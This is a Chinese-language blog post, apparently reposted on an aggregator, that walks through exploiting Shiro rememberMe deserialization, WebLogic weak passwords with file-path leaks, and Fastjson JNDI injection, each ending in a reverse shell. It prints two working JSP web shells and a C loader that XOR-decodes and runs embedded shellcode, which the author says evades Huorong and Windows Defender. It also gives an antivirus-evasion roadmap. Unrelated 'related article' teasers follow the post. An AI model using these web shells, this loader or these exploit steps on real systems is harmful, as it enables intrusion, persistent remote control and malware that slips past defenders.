框架漏洞Shiroweblogicfastjson || 免杀思路

继续来讲一下我们的框架漏洞,先讲一下Shiro

1.Shiro反序列化

1.原理

Shiro的漏洞形成呢,就是因为存在了RememberMe这样的一个字段

Shiro 框架在处理 "rememberMe" 功能时使用了不安全的反序列化方法,攻击者可以构造恶意序列化数据,利用漏洞来执行恶意代码

2.Shiro框架特点

像在这样的一种界面,我们就可以先去抓个包

然后我们去将cookie值改成 

rememberMe=1

然后就能看见shiro的框架特点了

rememberMe=delteme

如果我们随便输入一个密码,那么无论我们是否勾选RememberMe字段,照样也是有相应字段

然后如果我们输入的是正确密码,但是不勾选RememberMe字段,那么它的返回包会返回一个setcookie的值,然后也同样包含rememberme=deleteme字段

但是,如果我们在输入的密码正确的情况下,而且勾选上了Rememberme字段,那么就会返回一个remberme的字段,包括以后也会包含rememberme的字段

3.漏洞利用

在这里我就直接用利群了

先是将存在RememberMe字段的url敲进去,然后我们可以看见它的poc里面也是放了一个Rememberme=1的poc来执行探针!!!

然后就去检测了 !!! 发现能找到Key以及利用链组合!!!

然后就可以RCE了!!!

但是RCE怎么能足够呢?? 肯定还要去进行getshell捏!!! (好险利群有一键getshell)

首先开一个nc进行监听还是这么骚的端口,hhh

然后就可以去一键弹shell了!!!

这样,就完成了Shiro的漏洞复现了!!!

2.Weblogic_WeakPasswd

这里就到了weblogic啦!!!

1.什么是weblogic!!

WebLogic是美国Oracle公司出品的一个Java应用服务器,确切的说是一个基于JAVA EE架构的中间件。
WebLogic用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用。它可以帮助企业构建、运行、调整复杂的Java应用程序,具有高效能、可扩展和可靠的特性

2.weblogic的特点

weblogic默认的会开放7001端口,然而,weblogic对应的漏洞实在是太多了!!(反序列化!!)

看,数不胜数,那么讲了那么久的反序列化,那么我们就来讲一下Weakpasswd(后面我会把weblogic的反序列化给补上的!!!)

还记得我刚才说得7001吗,如果我们在访问的时候出现这样的页面,那么我们就可以去拼接目录

/console/login/LoginForm.jsp

可以看见是能够直接访问到他的登录后台的!!!

3.Weblogic漏洞利用!

对于上面,我们可以有两种方法

1.弱口令爆破

BP_cluster_bomb模式,虽然都是显示302,但是有一个包的明显长度就不一样!!!!

顺便来补一波状态码

  1. 信息,服务器收到请求,需要请求者继续执行操作
  2. 成功,操作被成功接收并处理
  3. 重定向,需要进一步的操作以完成请求
  4. 客户端错误,请求包含语法错误或无法完成请求
  5. 服务器错误,服务器在处理请求的过程中发生了错误

那么,我们就可以去试一下这个对应的密码!!可以看见时能够成功访问的!!!

2.拼接路径获取

这也就是为什么他的名字叫做weak_leak的原因了!!!

先是拼接第一个路径

/hello/file.jsp?path=security/SerializedSystemIni.dat

这时候我们就要去找对应的包

将这一段复制出来!!! 然后再去拼接第二段路径

hello/file.jsp?path=config/config.xml

然后这一个包返回的信息就多了!!!

一个是AES的密钥,一个是用户名字!!!!

然后就用工具去解密就好了!!

都能进后台了,肯定是想getshell啦!!! 

3.RCE(部署文件)

既然getshell,那就要文件上传啦!!! 

然后因为weblogic是java的环境,那么肯定是要写jsp的马啦,不过以前写的都是php的,那么今天就来补充一些jsp的吧!!(这些肯定是不免杀的)

<%
Runtime.getRuntime().exec(request.getParameter("shell"));
%>

但是这里不能直接上传,需要对木马进行一些操作

  • 首先肯定要一个jsp的马,肯定没得说
  • 然后就是将他打包
  • 然后把他改成一个War包

然后就可以去上传了,(基本上就是无脑的下一步了)

这里你填一个你记得的名字就好了!!

然后就是能看见我们部署的里面的文件了,是可以成功RCE的

但是不知道为什么,感觉蚁剑有点连接不上???我换了一个jsp的马

<%@ page import="java.io.*" %>
<%
    String cmd = request.getParameter("cmd");
    if (cmd != null) {
        Process p = Runtime.getRuntime().exec(cmd);
        BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
        String line;
        while ((line = br.readLine()) != null) {
            out.println(line);
        }
        br.close();
    }
%>

RCE是可以的 

但是连接就不行了 

4.Liqunkit工具利用

既然连接不上,那么我们就尝试一下别的方法,用工具!!(利群)

可以成功检测出来的,可以看见,尝试一下RCE

okay!! 能RCE那么我们就去试一下文件上传

发现上传成功,于是就尝试一下蚁剑能否成功!!! 

但是蚁剑似乎就不太礼貌了,啊啊啊啊啊 

似乎是环境的问题,我试了冰蝎,哥斯拉,都连接不上

3.Fastjson反序列化

在讲fastjson之前,先来讲一下json

Json::JavaScript Object Notation  即JavaScript对象标记法,使用键值对进行信息的存储

其本质上就是一种字符串,可以用于信息的交换于存储

如下,就是一个例子 

{
"name":"BossFrank",
"age":23,
"media":["CSDN","bilibili","Github"]
}

而Fastjson 是一个阿里巴巴公司开源的 Java 语言编写的高性能功能完善的 JSON 库。可以将Java 对象转换为 JSON 格式(序列化),当然它也可以将 JSON 字符串转换为 Java 对象(反序列化)。

所以漏洞就是这么出来的啦,下面来举一个例子

  假设有如下两个类

当一个类只有一个接口的时候,将这个类的对象序列化的时候,就会将子类抹去
(apple/iphone)只保留接口的类型(Fruit),最后导致反序列化时无法得到原始类型。

本例中,将两个json再反序列化生成java对象的时候,无法区分原始类是apple还是iphone。
为了解决上述问题: fastjson引入了基于属性(AutoType),即在序列化的时候,先把原始类型记录下来,使用@type的键记录原始类型



在本例中,引入AutoType后,Apple类对象序列化为json格式后为:
{ "fruit":{ "@type":"com.hollis.lab.fastjson.test.Apple", "price":0.5 } }


引入AutoType后,iphone类对象序列化为json格式后为:
{ "fruit":{ "@type":"com.hollis.lab.fastjson.test.iphone", "price":5000 } }


这样在反序列化的时候就可以区分原始的类了。

这样子做好像没什么问题,但是这可难不倒黑客们

fastJSON在反序列化时,可能会将目标类的构造函数、getter方法、setter方法、is
方法执行一遍,如果此时这四个方法中有危险操作,则会导致反序列化漏洞

也就是说攻击者传入的序列化数据中需要目标类的这些方法中要存在漏洞才能触发。
攻击者准备rmi服务和web服务,将rmi绝对路径注入到lookup方法中,受害者JNDI
接口会指向攻击者控制rmi服务器,JNDI接口向攻击者控制web服务器远程加载恶意代码,执行构造函数形成RCE。

怎么样,是不是Log4j2 很相似,也是ldap和 jndi的应用

那么就是常规操作了,先开个服务

然后再去开一个ldap的服务

然后就是去用nc去监听你的端口了

然后就是去BP构造你的poc了

然后就是getshell了

4.免杀

1.代码分享

首先肯定是要声明了!!

以下的一切代码以及思路仅供学习参考,禁止用于任何形式的违法行为,请自觉遵守中华人名共和国网络安全法!!!


我来先贴一段代码

#include <windows.h>
#include <stdio.h>

void likeww(char* nb) {
    int id = atoi(nb);

    unsigned char hello[] = {
       0xDC, 0xC8, 0xAF, 0x20, 0x20, 0x20, 0x40, 0x11,
        0xF2, 0xA9, 0xC5, 0x44, 0xAB, 0x72, 0x10, 0xAB,
         0x72, 0x2C, 0xAB, 0x72, 0x34, 0xAB, 0x52, 0x08,
         0x11, 0xDF, 0x2F, 0x97, 0x6A, 0x06, 0x11, 0xE0,
         0x8C, 0x1C, 0x41, 0x5C, 0x22, 0x0C, 0x00, 0xE1,
          0xEF, 0x2D, 0x21, 0xE7, 0x69, 0x55, 0xCF, 0x72,
           0x77, 0xAB, 0x72, 0x30, 0xAB, 0x62, 0x1C, 0x21,
            0xF0, 0xAB, 0x60, 0x58, 0xA5, 0xE0, 0x54, 0x6C,
            0x21, 0xF0, 0x70, 0xAB, 0x78, 0x00, 0x21, 0xF3,
             0xAB, 0x68, 0x38, 0xA5, 0xE9, 0x54, 0x1C, 0x69,
              0x11, 0xDF, 0xAB, 0x14, 0xAB, 0x21, 0xF6, 0x11,
               0xE0, 0x8C, 0xE1, 0xEF, 0x2D, 0x21, 0xE7, 0x18,
                0xC0, 0x55, 0xD4, 0x23, 0x5D, 0xD8, 0x1B, 0x5D,
                 0x04, 0x55, 0xC0, 0x78, 0xAB, 0x78, 0x04, 0x21,
                  0xF3, 0x46, 0xAB, 0x2C, 0x6B, 0xAB, 0x78, 0x3C,
                  0x21, 0xF3, 0xAB, 0x24, 0xAB, 0x21, 0xF0, 0xA9,
                  0x64, 0x04, 0x04, 0x7B, 0x7B, 0x41, 0x79, 0x7A, 0x71,
                   0xDF, 0xC0, 0x78, 0x7F, 0x7A, 0xAB, 0x32, 0xC9, 0xA0,
                   0xDF, 0xDF, 0xDF, 0x7D, 0x48, 0x13, 0x12, 0x20, 0x20,
                   0x48, 0x57, 0x53, 0x12, 0x7F, 0x74, 0x48, 0x6C, 0x57, 0x06,
                    0x27, 0xA9, 0xC8, 0xDF, 0xF0, 0x98, 0xB0, 0x21, 0x20, 0x20,
                     0x09, 0xE4, 0x74, 0x70, 0x48, 0x09, 0xA0, 0x4B, 0x20, 0xDF,
                      0xF5, 0x4A, 0x2A, 0x48, 0xE0, 0x88, 0xD6, 0xA0, 0x48, 0x22,
                       0x20, 0x03, 0xC7, 0xA9, 0xC6, 0x70, 0x70, 0x70, 0x70, 0x60,
                       0x70, 0x60, 0x70, 0x48, 0xCA, 0x2F, 0xFF, 0xC0, 0xDF, 0xF5,
                        0xB7, 0x4A, 0x30, 0x76, 0x77, 0x48, 0xB9, 0x85, 0x54, 0x41, 0xDF, 0xF5, 0xA5, 0xE0, 0x54, 0x2A, 0xDF, 0x6E, 0x28, 0x55, 0xCC, 0xC8, 0x47, 0x20, 0x20, 0x20, 0x4A, 0x20, 0x4A, 0x24, 0x76, 0x77, 0x48, 0x22, 0xF9, 0xE8, 0x7F, 0xDF, 0xF5, 0xA3, 0xD8, 0x20, 0x5E, 0x16, 0xAB, 0x16, 0x4A, 0x60, 0x48, 0x20, 0x30, 0x20, 0x20, 0x76, 0x4A, 0x20, 0x48, 0x78, 0x84, 0x73, 0xC5, 0xDF, 0xF5, 0xB3, 0x73, 0x4A, 0x20, 0x76, 0x73, 0x77, 0x48, 0x22, 0xF9, 0xE8, 0x7F, 0xDF, 0xF5, 0xA3, 0xD8, 0x20, 0x5D, 0x08, 0x78, 0x48, 0x20, 0x60, 0x20, 0x20, 0x4A, 0x20, 0x70, 0x48, 0x2B, 0x0F, 0x2F, 0x10, 0xDF, 0xF5, 0x77, 0x48, 0x55, 0x4E, 0x6D, 0x41, 0xDF, 0xF5, 0x7E, 0x7E, 0xDF, 0x2C, 0x04, 0x2F, 0xA5, 0x50, 0xDF, 0xDF, 0xDF, 0xC9, 0xBB, 0xDF, 0xDF, 0xDF, 0x21, 0xE3, 0x09, 0xE6, 0x55, 0xE1, 0xE3, 0x9B, 0xD0, 0x95, 0x82, 0x76, 0x4A, 0x20, 0x73, 0xDF, 0xF5

    };

    LPVOID fiber = ConvertThreadToFiber(NULL);
    LPVOID Alloc = VirtualAlloc(NULL, sizeof(hello), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    for (int i = 0; i < sizeof(hello); i++) {
        hello[i] ^= id;
    }
    CopyMemory(Alloc, hello, sizeof(hello));
    LPVOID shellFiber = CreateFiber(0, (LPFIBER_START_ROUTINE)Alloc, NULL);
    SwitchToFiber(shellFiber);
}

int main(int argc, char* argv[]) {
    printf("jquery");
    if (argc == 2) {
        printf("The argument supplied is %s\n", argv[1]);
        likeww(argv[1]);
    }
    else if (argc > 2) {
        printf("Too many arguments supplied.\n");
    }
    else {
        printf("One argument expected.\n");
    }

    return 0; // 返回值表示程序正常退出
}

至于怎么用呢,那肯定是不能教的(我不想进去)但是这个🐎,过火绒,过Windows defender还是可以的,如果想要过360,还需要在main函数进行一些对应的操作!!!

   当然了,还是不能教(我还没学到那

那么下面我们就来聊一下免杀的学习思路吧

2.免杀思路

对于各路的牛鬼蛇神

他们的杀毒思路一般都是这样的

那么应该怎么免杀呢?

  • 对于火绒这种,加个壳就过了(不好评价)(实在难评)

但是呢,你对360是肯定过不了的,因为360可是目前国内顶尖的安全软件公司

  (其实就连defender都过不了)

加花,加壳,这种在他们的云沙箱面前也只能算是小玩意

所以你就不能通过工具(网上找到的来免杀)(当然最新出的例外)

那应该怎么免杀呢?你应该学习以下的东西

汇编基础 ---> c语言 ---- > Windows 的常见api ---> win32相关知识(ddl劫持,ddl注入,过程伪装,shellcodeloader)----->了解常见的杀软特点

通过学习这些,360,defender,卡巴斯基,火绒这些对于你来说都是小菜一碟,最起码写出一个免杀360的马还是可以的

这不快到护网了嘛,每年护网,红队人员的木马全都免杀的,作为蓝队,你只能乞讨别人别来打你

  

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/454495.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

原来jmeter接口测试还可以这么做...

JMeter是一个Java应用程序&#xff0c;是基于开源的性能测试工具。它可以用来对Web应用程序或FTP服务器进行压力测试&#xff0c;以便确定它们在高负载下还能否正常运行。JMeter支持各种协议&#xff0c;如HTTP、HTTPS、FTP、SOAP、REST等。 本文将介绍JMeter的详细使用教程&a…

Leetcode 141. 环形链表

题目描述&#xff1a; 给你一个链表的头节点 head &#xff0c;判断链表中是否有环。 如果链表中有某个节点&#xff0c;可以通过连续跟踪 next 指针再次到达&#xff0c;则链表中存在环。 为了表示给定链表中的环&#xff0c;评测系统内部使用整数 pos 来表示链表尾连接到链表…

【数据科学赛】光伏发电出力预测 #¥150,000

CompHub[1] 最新的比赛会第一时间在群里通知&#xff0c;欢迎加群交流比赛经验&#xff01;&#xff08;公众号回复“加群”即可&#xff09; 根据比赛主页[2](文末阅读原文)&#xff0c;使用AI辅助生成 光伏发电出力预测 比赛题目 本次比赛的题目是关于光伏发电出力预测。参…

FreeRTOS操作系统学习——中断管理

中断管理介绍 嵌入式实时系统需要对整个系统环境产生的事件作出反应。这些事件对处理时间和响应时间都有不同的要求。事件通常采用中断方式检测&#xff0c;中断服务例程(ISR)中的处理量应当越短越好。ISR是在内核中被调用的&#xff0c; ISR执行过程中&#xff0c;用户的任务…

C语言分析基础排序算法——计数排序

目录 计数排序 计数排序基本思路 计数排序改进思路 计数排序 计数排序又称为鸽巢原理&#xff0c;是对哈希直接定址法的变形应用。具体思路为&#xff1a; 统计相同元素出现次数根据统计的结果将序列回收到原来的序列中 计数排序基本思路 基本思路分析&#xff1a; //以…

vue搭建脚手架遇到的一个bug

看起来运行vue init命令时出现了问题。似乎vue/cli-init插件没有被全局安装。你可以尝试使用npm&#xff08;Node Package Manager&#xff09;全局安装它。 按照以下命令&#xff1a; npm install -g vue/cli-init npm install -g vue-cli

力扣由浅至深 每日一题.05 合并两个有序列表

神明渡我&#xff0c;我将所有苦难都放过 —— 24.3.13 21. 合并两个有序链表 将两个升序链表合并为一个新的 升序 链表并返回。新链表是通过拼接给定的两个链表的所有节点组成的。 示例 1&#xff1a; 输入&#xff1a;l1 [1,2,4], l2 [1,3,4] 输出&#xff1a;[1,1,2,3,4,…

【系统架构师】-第19章-大数据架构设计理论与实践

四个特点&#xff1a; 大规模&#xff08;Volume&#xff09;、高速度&#xff08;Velocity&#xff09;和多样化&#xff08;Variety&#xff09;&#xff0c;价值&#xff08;Value&#xff09;。 五个问题&#xff1a; 异构性&#xff08;Heterogeneity&#xff09;、规模…

提高螺栓连接强度——SunTorque智能扭矩系统

螺栓连接是工程中常见的一种连接方式&#xff0c;其强度对于设备的稳定性和安全性具有至关重要的影响。然而&#xff0c;由于各种因素的影响&#xff0c;螺栓连接在使用过程中往往会出现松动、断裂等问题&#xff0c;导致设备故障和安全隐患。因此&#xff0c;提高螺栓连接的强…

leetcode 热题 100_两数相加

题解一&#xff1a; 迭代&#xff1a;首先判断整数0&#xff0c;然后分别遍历两段链表&#xff0c;将对应位数的值相加并存入新链表&#xff0c;再遍历新链表&#xff0c;将节点值val>10的减10&#xff0c;并且其下一节点值val1。需要注意最后一位节点进位是将下一位节点值设…

电脑丢失msvcr120.dll文件怎么办-丢失msvcr120.dll文件的五种解决方法

今天有看到小伙伴们在问msvcr120.dll文件是什么&#xff0c;所以今天的这篇文章将给大家科普msvcr120.dll文件是什么&#xff0c;msvcr120.dll文件在电脑系统中的重要性&#xff0c;如果你的电脑中出现了关于msvcr120.dll文件丢失的问题&#xff0c;也可以参考这篇文章&#xf…

记录 Dubbo+Zookeeper 学习Demo

DubboZookeeper ZookeeperZookeeper 下载可能出现的问题 辅助程序下载dubbo-admin项目打包工程打包常见问题 SpringBoot集成Dubbo项目依赖定义服务接口服务端实现服务端配置依赖代码实现 消费端实现服务端配置依赖代码实现 启动 结合Dubbo官网学习如何完成SpringBootDubboZooke…

springBoot整合Redis(三、整合Spring Cache)

缓存的框架太多了&#xff0c;各有各的优势&#xff0c;比如Redis、Memcached、Guava、Caffeine等等。 如果我们的程序想要使用缓存&#xff0c;就要与这些框架耦合。聪明的架构师已经在利用接口来降低耦合了&#xff0c;利用面向对象的抽象和多态的特性&#xff0c;做到业务代…

Cesium ion 简介

Cesium ion SaaS 是一个强大、可扩展且安全的 3D 地理空间数据平台。可以上传您的数据&#xff0c;Cesium ion 会将其优化为 3D Tiles&#xff0c;并将其托管在云端&#xff0c;并将其流式传输到任何设备。 Cesium ion 包括访问精选的全球 3D 内容&#xff0c;包括 Cesium Wor…

jeecg 项目 springcloud 项目有一个模块 没加载进来 只需要 把这个模块放到 可以加载到模块的位置 刷新依赖

springcloud 项目有一个模块 没加载进来 只需要 把这个模块放到 可以加载到模块的位置 刷新依赖

04-自媒体文章-自动审核

自媒体文章-自动审核 1)自媒体文章自动审核流程 1 自媒体端发布文章后&#xff0c;开始审核文章 2 审核的主要是审核文章的内容&#xff08;文本内容和图片&#xff09; 3 借助第三方提供的接口审核文本 4 借助第三方提供的接口审核图片&#xff0c;由于图片存储到minIO中&…

基于YOLOv8/YOLOv7/YOLOv6/YOLOv5的零售柜商品检测软件(Python+PySide6界面+训练代码)

摘要&#xff1a;开发高效的零售柜商品识别系统对于智能零售领域的进步至关重要。本文深入介绍了如何运用深度学习技术开发此类系统&#xff0c;并分享了全套实现代码。系统采用了领先的YOLOv8算法&#xff0c;并与YOLOv7、YOLOv6、YOLOv5进行了性能比较&#xff0c;呈现了诸如…

算法学习系列(四十):贡献法

目录 引言概念一、孤独的照片二、牛的基因学三、字串分值 引言 关于这个贡献法考的不是很多&#xff0c;主要题型是出现在需要枚举每一个组合这类题&#xff0c;出现的次数较多。没有固定的模板&#xff0c;就是一种思想&#xff0c;跟贪心一样&#xff0c;每个题都是不一样的…

基于opencv的手势识别

当然可以&#xff0c;下面是一个使用OpenCV实现简单手势识别&#xff0c;并在摄像头捕捉的视频中描绘出手部轮廓为线条的示例。该代码会读取摄像头流&#xff0c;然后检测出手部&#xff0c;并用线条描绘出手的轮廓。 首先&#xff0c;你需要安装OpenCV库。如果你还没有安装&am…

C# 第三方曲线库及其特点

在 C# 中&#xff0c;有几个第三方库可以用于绘制曲线图&#xff0c;每个库都有自己的特点和优势。以下是一些常见的 C# 第三方曲线库及其特点&#xff0c;希望对大家有所帮助。北京木奇移动技术有限公司&#xff0c;专业的软件外包开发公司&#xff0c;欢迎交流合作。 1.LiveC…